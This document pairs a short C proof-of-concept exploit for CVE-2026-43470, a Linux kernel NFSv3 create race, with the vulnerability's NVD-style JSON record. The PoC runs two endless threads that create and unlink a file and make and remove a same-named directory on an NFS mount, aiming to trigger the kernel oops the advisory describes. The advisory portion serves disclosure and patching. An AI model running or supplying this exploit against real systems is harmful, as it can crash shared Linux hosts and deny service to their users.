CVE-2026-43470

/* * PoC for CVE-2026-43470 * Trigger the race condition in NFSv3 create by concurrently * creating and removing files and directories with the same name. * Compile: gcc -o poc_nfs_race poc_nfs_race.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> #define TARGET_PATH "/mnt/nfs_share/test_entry" void* thread_file_ops(void* arg) { while (1) { // Create file without O_EXCL to trigger alias logic int fd = open(TARGET_PATH, O_CREAT | O_RDWR | O_TRUNC, 0644); if (fd >= 0) { write(fd, "data", 4); close(fd); unlink(TARGET_PATH); } } return NULL; } void* thread_dir_ops(void* arg) { while (1) { // Concurrently create/remove directory with same name mkdir(TARGET_PATH, 0755); rmdir(TARGET_PATH); } return NULL; } int main() { pthread_t t1, t2; printf("Starting PoC for CVE-2026-43470...\n"); pthread_create(&t1, NULL, thread_file_ops, NULL); pthread_create(&t2, NULL, thread_dir_ops, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

{"cve": {"id": "CVE-2026-43470", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:17:00.090", "lastModified": "2026-05-21T13:59:48.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfs: return EISDIR on nfs3_proc_create if d_alias is a dir\n\nIf we found an alias through nfs3_do_create/nfs_add_or_obtain\n/d_splice_alias which happens to be a dir dentry, we don't return\nany error, and simply forget about this alias, but the original\ndentry we were adding and passed as parameter remains negative.\n\nThis later causes an oops on nfs_atomic_open_v23/finish_open since we\nsupply a negative dentry to do_dentry_open.\n\nThis has been observed running lustre-racer, where dirs and files are\ncreated/removed concurrently with the same name and O_EXCL is not\nused to open files (frequent file redirection).\n\nWhile d_splice_alias typically returns a directory alias or NULL, we\nexplicitly check d_is_dir() to ensure that we don't attempt to perform\nfile operations (like finish_open) on a directory inode, which triggers\nthe observed oops."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.10", "versionEndExcluding": "6.12.78", "matchCriteriaId": "DA007D53-8D99-404A-8E76-341B5D45F5B3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.19", "matchCriteriaId": "D394AC60-6F28-435F-872A-CCDF384B8331"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/203c792cb4315360d49973ae2e57feeb6d3dcf7e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/410666a298c34ebd57256fde6b24c96bd23059a2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7e2963773760a664684435201960dd2fb712f1b5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9ee1770fcb2f1b48354622b926e7dc10222805f5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}